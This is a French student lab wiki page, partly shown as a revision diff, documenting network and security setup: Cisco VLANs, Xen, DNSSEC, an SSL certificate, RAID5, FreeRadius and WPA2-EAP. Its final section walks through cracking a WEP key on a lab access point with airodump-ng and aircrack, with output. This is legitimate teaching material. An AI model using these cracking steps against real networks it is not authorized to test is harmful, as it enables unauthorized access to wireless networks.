Cahier 2016 groupe n°7 : Différence entre versions
(→Configuration du 6006) |
|||
(9 révisions intermédiaires par un autre utilisateur non affichées) | |||
Ligne 7 : | Ligne 7 : | ||
===Configuration du 6006=== | ===Configuration du 6006=== | ||
− | + | *Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 | |
− | + | *Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11 | |
− | + | *Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi. | |
La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante : | La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante : | ||
Ligne 135 : | Ligne 135 : | ||
===Sécurisation du site via certificat SSL=== | ===Sécurisation du site via certificat SSL=== | ||
+ | |||
+ | Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi. | ||
+ | |||
+ | root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr | ||
+ | Generating a 2048 bit RSA private key | ||
+ | ..................................................................+++ | ||
+ | .........................................+++ | ||
+ | writing new private key to 'Ironman.key' | ||
+ | ----- | ||
+ | You are about to be asked to enter information that will be incorporated | ||
+ | into your certificate request. | ||
+ | What you are about to enter is what is called a Distinguished Name or a DN. | ||
+ | There are quite a few fields but you can leave some blank | ||
+ | For some fields there will be a default value, | ||
+ | If you enter '.', the field will be left blank. | ||
+ | ----- | ||
+ | Country Name (2 letter code) [AU]:FR | ||
+ | State or Province Name (full name) [Some-State]:Nord | ||
+ | Locality Name (eg, city) []:Lille | ||
+ | Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille | ||
+ | Organizational Unit Name (eg, section) []:IMA | ||
+ | Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space | ||
+ | Email Address []: | ||
+ | Please enter the following 'extra' attributes | ||
+ | to be sent with your certificate request | ||
+ | A challenge password []: | ||
+ | An optional company name []: | ||
+ | |||
+ | A partir de ce moment là, ls clefs ont été générées : | ||
+ | |||
+ | root@Ironman:/etc/apache2/sites-available/clef# ls | ||
+ | Ironman.csr Ironman.key | ||
+ | |||
+ | |||
+ | Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation. | ||
+ | |||
+ | De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante: | ||
+ | |||
+ | [...] | ||
+ | admin: root | ||
+ | |||
+ | Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants : | ||
+ | |||
+ | cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key | ||
+ | cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt | ||
+ | cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire) | ||
+ | |||
+ | On effectue ensuite un rehash des certificats : | ||
+ | |||
+ | c_rehash /etc/ssl/certs | ||
+ | Doing /etc/ssl/certs | ||
+ | bielloumutherfucker.space.crt => 6860aa7d.0 | ||
+ | bielloumutherfucker.space.crt => 5692355e.0 | ||
+ | ssl-cert-snakeoil.pem => a036afff.0 | ||
+ | ssl-cert-snakeoil.pem => 4390636f.0 | ||
+ | GandiStandardSSLCA2.pem => 8544bf03.0 | ||
+ | GandiStandardSSLCA2.pem => e279a80b.0 | ||
+ | |||
+ | On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available : | ||
+ | |||
+ | #NameVirtualHost *:443 | ||
+ | <VirtualHost 193.48.57.167:443> | ||
+ | ServerName www.bielloumutherfucker.space | ||
+ | ServerAlias bielloumutherfucker.space | ||
+ | DocumentRoot /var/www/html/ | ||
+ | CustomLog /var/log/apache2/secure_access.log combined | ||
+ | |||
+ | SSLEngine on | ||
+ | SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt | ||
+ | SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key | ||
+ | SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem | ||
+ | SSLVerifyClient None | ||
+ | </VirtualHost> | ||
+ | <Directory /var/www/html> | ||
+ | Require all granted | ||
+ | </Directory> | ||
+ | ServerName "bielloumutherfucker.space" | ||
+ | |||
+ | Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) : | ||
+ | |||
+ | Listen 80 443 | ||
+ | <IfModule ssl_module> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | <IfModule mod_gnutls.c> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | |||
+ | On doit ensuite autoriser apache à utiliser son module ssl : | ||
+ | |||
+ | a2enmod ssl | ||
+ | |||
+ | Puis on autorise notre site à utiliser ssl : | ||
+ | |||
+ | a2ensite 000-bielloumutherfucker.space-ssl.conf | ||
+ | |||
+ | Ensuite : | ||
+ | |||
+ | service apache2 restart | ||
+ | service apache2 reload | ||
+ | |||
+ | Maintenant, lorsqu'on se connecte sur notre site avec le préfixe "https://", le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé. | ||
+ | |||
+ | [[Fichier:ssl.png]] | ||
+ | |||
+ | ===Sécurisation des données=== | ||
+ | |||
+ | Nous commençons dans un premier temps à créer trois partitions via les commandes suivantes : | ||
+ | |||
+ | lvcreate -L 1G -n /dev/virtual/ironman-1 -v | ||
+ | lvcreate -L 1G -n /dev/virtual/ironman-2 -v | ||
+ | lvcreate -L 1G -n /dev/virtual/ironman-3 -v | ||
+ | |||
+ | Puis nous modifions notre fichier de configuration de machine virtuelle Ironman.cfg en y ajoutant les trois lignes suivantes dans la partie '''disk''': | ||
+ | |||
+ | 'phy:/dev/virtual/ironman-1,xvdd,w', | ||
+ | 'phy:/dev/virtual/ironman-2,xvde,w', | ||
+ | 'phy:/dev/cirtual/ironman-3,xvdf,w', | ||
+ | |||
+ | A partir de ce moment là, on relance notre machine virtuelle, puis on y installe le paquet mdadm. | ||
+ | |||
+ | Nous créons ensuite le volume /dev/md0: | ||
+ | |||
+ | mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf | ||
+ | |||
+ | On affiche ensuite la configuration actuelle de /dev/md0: | ||
+ | |||
+ | root@Ironman:~# mdadm --detail /dev/md0 | ||
+ | /dev/md0: | ||
+ | Version : 1.2 | ||
+ | Creation Time : Thu Dec 8 16:52:21 2016 | ||
+ | Raid Level : raid5 | ||
+ | Array Size : 2095104 (2046.34 MiB 2145.39 MB) | ||
+ | Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB) | ||
+ | Raid Devices : 3 | ||
+ | Total Devices : 3 | ||
+ | Persistence : Superblock is persistent | ||
+ | Update Time : Thu Dec 8 16:52:21 2016 | ||
+ | State : clean | ||
+ | Active Devices : 3 | ||
+ | Working Devices : 3 | ||
+ | Failed Devices : 0 | ||
+ | Spare Devices : 0 | ||
+ | Layout : left-symmetric | ||
+ | Chunk Size : 512K | ||
+ | Name : Ironman:0 (local to host Ironman) | ||
+ | UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9 | ||
+ | Events : 0 | ||
+ | Number Major Minor RaidDevice State | ||
+ | 0 202 48 0 active sync /dev/xvdd | ||
+ | 1 202 64 1 active sync /dev/xvde | ||
+ | 2 202 80 2 active sync /dev/xvdf | ||
+ | |||
+ | On sauvegarde ensuite la configuration de md0 : | ||
+ | |||
+ | root@Ironman:~# mdadm --detail --scan >> /etc/mdadm/mdadm.conf | ||
+ | |||
+ | Puis nous créons un dossier /datamd0 que nous montons sur notre device md0 : | ||
+ | |||
+ | root@Ironman:~# mkfs /dev/md0 | ||
+ | root@Ironman:~# mkdir /datamd0 | ||
+ | root@Ironman:/datamd0# mount /dev/md0 /datamd0/ | ||
+ | |||
+ | |||
+ | Nous pouvons ensuite créer un fichier de test sur le raid 5 (iron-man.txt): | ||
+ | |||
+ | root@Ironman:/datamd0# ls | ||
+ | lost+found test_ironman.txt | ||
+ | |||
+ | On ferme ensuite notre machine, puis nous modifions son fichier .cfg afin qu'elle ne prenne plus en compte la partition xvdd (on commente la ligne). | ||
+ | Nous relançons ensuite la machine virtuelle, puis nous réaffichons la configuration de md0 : | ||
+ | |||
+ | root@Ironman:~# mdadm --detail /dev/md0 | ||
+ | /dev/md0: | ||
+ | Version : 1.2 | ||
+ | Creation Time : Thu Dec 8 16:52:21 2016 | ||
+ | Raid Level : raid5 | ||
+ | Array Size : 2095104 (2046.34 MiB 2145.39 MB) | ||
+ | Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB) | ||
+ | Raid Devices : 3 | ||
+ | Total Devices : 2 | ||
+ | Persistence : Superblock is persistent | ||
+ | Update Time : Thu Dec 8 17:05:13 2016 | ||
+ | State : clean, degraded | ||
+ | Active Devices : 2 | ||
+ | Working Devices : 2 | ||
+ | Failed Devices : 0 | ||
+ | Spare Devices : 0 | ||
+ | Layout : left-symmetric | ||
+ | Chunk Size : 512K | ||
+ | Name : Ironman:0 (local to host Ironman) | ||
+ | UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9 | ||
+ | Events : 6 | ||
+ | Number Major Minor RaidDevice State | ||
+ | 0 0 0 0 removed | ||
+ | 1 202 64 1 active sync /dev/xvde | ||
+ | 2 202 80 2 active sync /dev/xvdf | ||
+ | |||
+ | |||
+ | On constate bien que la partion xvdd a été enlevée. Et que le fichier de test sur le raid est toujours présent : | ||
+ | |||
+ | root@Ironman:~# ls /datamd0/ | ||
+ | lost+found test_ironman.txt | ||
+ | |||
+ | ===Création du serveur d'authentification FreeRadius=== | ||
+ | |||
+ | Dans un premier temps, nous avons installé le paquet freeradius sur notre machine : | ||
+ | |||
+ | root@Ironman:~#apt-get install freeradius | ||
+ | |||
+ | Puis nous modifions le fichier de configuration des utilisateurs de serveur, /etc/freeradius/users, en y ajoutant le notre : | ||
+ | |||
+ | user_name Cleartext-password := "wanted_pswd" | ||
+ | |||
+ | On modifie ensuite le fichier de configuration des clients, /etc/freeradius/clients.conf, en y ajoutant les différents points où nous connecterons : | ||
+ | |||
+ | client E304 { | ||
+ | ipaddr = 10.60.1.6 | ||
+ | secret = mdp | ||
+ | } | ||
+ | |||
+ | client E306 { | ||
+ | ipaddr = 10.60.1.2 | ||
+ | secret = mdp | ||
+ | } | ||
+ | |||
+ | client vlan8 { | ||
+ | ipaddr = 10.60.8.0 | ||
+ | secret = mdp | ||
+ | } | ||
+ | |||
+ | |||
+ | ===Sécurisation wifi par WPA2-EAP=== | ||
+ | |||
+ | Nous allons maintenant configurer les points d'accès afin de les rendre accessibles avec nos identifiants et mot de passe configuré sur notre serveur freeRadius. On se connecte à la borne en E306 par exemple : | ||
+ | |||
+ | telnet 10.60.1.2 | ||
+ | |||
+ | Puis on passe à la configuration : | ||
+ | |||
+ | enable | ||
+ | |||
+ | conf t | ||
+ | |||
+ | aaa new-model | ||
+ | aaa authentication login eap_ironman group radius_ironman | ||
+ | radius-server host 193.48.57.167 auth-port 1812 acct-port 1813 key mot_de_passe | ||
+ | aaa group server radius radius_ironman | ||
+ | server 193.48.57.167 auth-port 1812 acct-port 1813 | ||
+ | exit | ||
+ | |||
+ | dot11 ssid ironman | ||
+ | vlan 8 | ||
+ | authentication open eap eap_ironman | ||
+ | authentication network-eap eap_ironman | ||
+ | authentication key-management wpa | ||
+ | mbssid guest-mode | ||
+ | exit | ||
+ | |||
+ | interface Dot11Radio0 | ||
+ | encryption vlan 8 mode ciphers aes-ccm tkip | ||
+ | ssid ironman | ||
+ | exit | ||
+ | |||
+ | interface Dot11Radio0.8 | ||
+ | encapsulation dot1Q 8 | ||
+ | no ip route-cache | ||
+ | bridge-group 8 | ||
+ | bridge-group 8 subscriber-loop-control | ||
+ | bridge-group 8 spanning-disabled | ||
+ | bridge-group 8 block-unknown-source | ||
+ | no bridge-group 8 source-learning | ||
+ | no bridge-group 8 unicast-flooding | ||
+ | exit | ||
+ | |||
+ | interface GigabitEthernet0.8 | ||
+ | encapsulation dot1Q 8 | ||
+ | bridge-group 8 | ||
+ | exit | ||
+ | |||
+ | exit | ||
+ | |||
+ | On refait la même chose pour le point d'accès en E304. | ||
===Crackage de clé WEP=== | ===Crackage de clé WEP=== |
Version actuelle datée du 8 janvier 2017 à 12:06
Sommaire
- 1 Cahier des charges
- 2 Avancement du travail
- 2.1 Configuration du 6006
- 2.2 Installation de xen
- 2.3 Configuration d'une EtherChannel
- 2.4 Serveur DNS et DNSSEC avec bind
- 2.5 Sécurisation du site via certificat SSL
- 2.6 Sécurisation des données
- 2.7 Création du serveur d'authentification FreeRadius
- 2.8 Sécurisation wifi par WPA2-EAP
- 2.9 Crackage de clé WEP
- 2.10 Craquage de clé WPA
Cahier des charges
Mise en réseau des commutateurs 6006 en E304
Avancement du travail
Configuration du 6006
- Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10
- Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11
- Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.
La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :
1 Switch-E304>enable 2 Switch-E304#vlan database 3 Switch-E304(vlan)#vlan x name nameX 4 Switch-E304(vlan)#exit
La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :
1 Switch-E304>enable 2 Switch-E304#conf t 3 Switch-E304(config)#interface GigabitEthernet 4/x 4 Switch-E304(config-if)#switchport 5 Switch-E304(config-if)#switchport access vlan x 6 Switch-E304(config-if)#no shutdown 7 Switch-E304(config-if)#end 8 Switch-E304#write memory (enregistrer la configuration)
Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :
5 Switch-E304(config-if)#switchport mode trunk
Installation de xen
xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.172
Configuration d'une EtherChannel
Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.
Voici la commande à rentrer dans l'interface de configuration du commutateur :
1 Switch-E304>enable 2 Switch-E304#conf t 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32 4 Switch-E304(config-if)#switchport 5 Switch-E304(config-if)#switchport mode trunk 6 Switch-E304(config-if)#channel-protocol lacp 7 Switch-E304(config-if)#channel-group 1 mode passive 8 Switch-E304(config-if)#no shutdown 9 Switch-E304(config-if)#end 10 Switch-E304#write memory (enregistrer la configuration)
Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.
Serveur DNS et DNSSEC avec bind
La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi. Il faut alors se diriger sur la rubrique :Gérer les Glue records. A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :
nom du serveur : ns.bielloumutherfucker.space
IP : 193.48.57.167
On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique modifier les serveurs DNS :
DNS1 : ns.bielloumutherfucker.space
DNS2 : ns6.gandi.net (serveur secondaire de Gandi)
Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier /etc/bind de notre machine virtuelle.
Nous modifions dans un premier temps le fichier named.conf.local afin d'y créer nos zones :
zone "bielloumutherfucker.space" { type master; FIle "/etc/bind/zones/db.bielloumutherfucker.space"; allow-transfer {217.70.177.40; }; notify yes; };
nous créons ensuite un dossier zones à l'intérieur duquel nous créons notre fichier de zone db.bielloumutherfucker.space :
$TTL 604800 @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. ( 2015102001 ; Serial 86400 ; Refresh 3600 ; Retry 2419200 ; Expire 86400 ) ; Negative Cache TTL @ IN NS ns.bielloumutherfucker.space. @ IN NS ns6.gandi.net. ns IN A 193.48.57.167 www IN A 193.48.57.167 @ IN A 193.48.57.167
Il nous faut ensuite modifier notre fichier /etc/resolv.conf afin de passer par notre serveur :
search bielloumutherfucker.space nameserver 193.48.57.167
A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.
Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :
dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --> clef KSK dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --> clef ZSK
Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).
Après les avoir placé dans le répertoire bielloumutherfucker.space.dnssec que nous avons crée, on les renomme selon le schéma suivant :
bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private
Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :
dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk
Une nouvelle zone, signée, a donc été créée dans notre dossier zones. Il ne nous reste plus qu'à modifier le fichier named.conf.local en rajoutant un .signed à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.
service bind9 restart
Nous retournons sur le site de gandi et dans la rubrique gérer DNSSEC nous ajoutons notre clef publique avec l'algorithme RSASHA1. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site Zone Master, l'attribut DNSSEC est en effet coché et vert.
Sécurisation du site via certificat SSL
Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.
root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr Generating a 2048 bit RSA private key ..................................................................+++ .........................................+++ writing new private key to 'Ironman.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille Organizational Unit Name (eg, section) []:IMA Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space Email Address []: Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []:
A partir de ce moment là, ls clefs ont été générées :
root@Ironman:/etc/apache2/sites-available/clef# ls Ironman.csr Ironman.key
Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.
De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:
[...] admin: root
Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :
cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)
On effectue ensuite un rehash des certificats :
c_rehash /etc/ssl/certs Doing /etc/ssl/certs bielloumutherfucker.space.crt => 6860aa7d.0 bielloumutherfucker.space.crt => 5692355e.0 ssl-cert-snakeoil.pem => a036afff.0 ssl-cert-snakeoil.pem => 4390636f.0 GandiStandardSSLCA2.pem => 8544bf03.0 GandiStandardSSLCA2.pem => e279a80b.0
On crée ensuite le fichier 000-bielloumutherfucker.space-ssl.conf dans le dossier /etc/apache2/sites-available :
#NameVirtualHost *:443 <VirtualHost 193.48.57.167:443> ServerName www.bielloumutherfucker.space ServerAlias bielloumutherfucker.space DocumentRoot /var/www/html/ CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem SSLVerifyClient None </VirtualHost> <Directory /var/www/html> Require all granted </Directory> ServerName "bielloumutherfucker.space"
Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :
Listen 80 443 <IfModule ssl_module> Listen 443 </IfModule> <IfModule mod_gnutls.c> Listen 443 </IfModule>
On doit ensuite autoriser apache à utiliser son module ssl :
a2enmod ssl
Puis on autorise notre site à utiliser ssl :
a2ensite 000-bielloumutherfucker.space-ssl.conf
Ensuite :
service apache2 restart service apache2 reload
Maintenant, lorsqu'on se connecte sur notre site avec le préfixe "https://", le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.
Sécurisation des données
Nous commençons dans un premier temps à créer trois partitions via les commandes suivantes :
lvcreate -L 1G -n /dev/virtual/ironman-1 -v lvcreate -L 1G -n /dev/virtual/ironman-2 -v lvcreate -L 1G -n /dev/virtual/ironman-3 -v
Puis nous modifions notre fichier de configuration de machine virtuelle Ironman.cfg en y ajoutant les trois lignes suivantes dans la partie disk:
'phy:/dev/virtual/ironman-1,xvdd,w', 'phy:/dev/virtual/ironman-2,xvde,w', 'phy:/dev/cirtual/ironman-3,xvdf,w',
A partir de ce moment là, on relance notre machine virtuelle, puis on y installe le paquet mdadm.
Nous créons ensuite le volume /dev/md0:
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf
On affiche ensuite la configuration actuelle de /dev/md0:
root@Ironman:~# mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Thu Dec 8 16:52:21 2016 Raid Level : raid5 Array Size : 2095104 (2046.34 MiB 2145.39 MB) Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB) Raid Devices : 3 Total Devices : 3 Persistence : Superblock is persistent Update Time : Thu Dec 8 16:52:21 2016 State : clean Active Devices : 3 Working Devices : 3 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Name : Ironman:0 (local to host Ironman) UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9 Events : 0 Number Major Minor RaidDevice State 0 202 48 0 active sync /dev/xvdd 1 202 64 1 active sync /dev/xvde 2 202 80 2 active sync /dev/xvdf
On sauvegarde ensuite la configuration de md0 :
root@Ironman:~# mdadm --detail --scan >> /etc/mdadm/mdadm.conf
Puis nous créons un dossier /datamd0 que nous montons sur notre device md0 :
root@Ironman:~# mkfs /dev/md0 root@Ironman:~# mkdir /datamd0 root@Ironman:/datamd0# mount /dev/md0 /datamd0/
Nous pouvons ensuite créer un fichier de test sur le raid 5 (iron-man.txt):
root@Ironman:/datamd0# ls lost+found test_ironman.txt
On ferme ensuite notre machine, puis nous modifions son fichier .cfg afin qu'elle ne prenne plus en compte la partition xvdd (on commente la ligne). Nous relançons ensuite la machine virtuelle, puis nous réaffichons la configuration de md0 :
root@Ironman:~# mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Thu Dec 8 16:52:21 2016 Raid Level : raid5 Array Size : 2095104 (2046.34 MiB 2145.39 MB) Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB) Raid Devices : 3 Total Devices : 2 Persistence : Superblock is persistent Update Time : Thu Dec 8 17:05:13 2016 State : clean, degraded Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Name : Ironman:0 (local to host Ironman) UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9 Events : 6 Number Major Minor RaidDevice State 0 0 0 0 removed 1 202 64 1 active sync /dev/xvde 2 202 80 2 active sync /dev/xvdf
On constate bien que la partion xvdd a été enlevée. Et que le fichier de test sur le raid est toujours présent :
root@Ironman:~# ls /datamd0/ lost+found test_ironman.txt
Création du serveur d'authentification FreeRadius
Dans un premier temps, nous avons installé le paquet freeradius sur notre machine :
root@Ironman:~#apt-get install freeradius
Puis nous modifions le fichier de configuration des utilisateurs de serveur, /etc/freeradius/users, en y ajoutant le notre :
user_name Cleartext-password := "wanted_pswd"
On modifie ensuite le fichier de configuration des clients, /etc/freeradius/clients.conf, en y ajoutant les différents points où nous connecterons :
client E304 { ipaddr = 10.60.1.6 secret = mdp } client E306 { ipaddr = 10.60.1.2 secret = mdp } client vlan8 { ipaddr = 10.60.8.0 secret = mdp }
Sécurisation wifi par WPA2-EAP
Nous allons maintenant configurer les points d'accès afin de les rendre accessibles avec nos identifiants et mot de passe configuré sur notre serveur freeRadius. On se connecte à la borne en E306 par exemple :
telnet 10.60.1.2
Puis on passe à la configuration :
enable
conf t aaa new-model aaa authentication login eap_ironman group radius_ironman radius-server host 193.48.57.167 auth-port 1812 acct-port 1813 key mot_de_passe aaa group server radius radius_ironman server 193.48.57.167 auth-port 1812 acct-port 1813 exit dot11 ssid ironman vlan 8 authentication open eap eap_ironman authentication network-eap eap_ironman authentication key-management wpa mbssid guest-mode exit interface Dot11Radio0 encryption vlan 8 mode ciphers aes-ccm tkip ssid ironman exit interface Dot11Radio0.8 encapsulation dot1Q 8 no ip route-cache bridge-group 8 bridge-group 8 subscriber-loop-control bridge-group 8 spanning-disabled bridge-group 8 block-unknown-source no bridge-group 8 source-learning no bridge-group 8 unicast-flooding exit interface GigabitEthernet0.8 encapsulation dot1Q 8 bridge-group 8 exit exit
On refait la même chose pour le point d'accès en E304.
Crackage de clé WEP
Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP. Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2
On obtient l'écran suivant :
CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP <length: 0> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP <length: 0> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2
Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :
airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2
On obtient l'écran suivant :
CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718
Une fois le fichier de capture créé, nous avons exécuter la commande
aircrack cracotte06-01.cap
afin débuter le crackage de la clé WEP.
On obtient le résultat suivant en quelques minutes :
[00:01:53] Tested 279622 keys (got 31535 IVs)
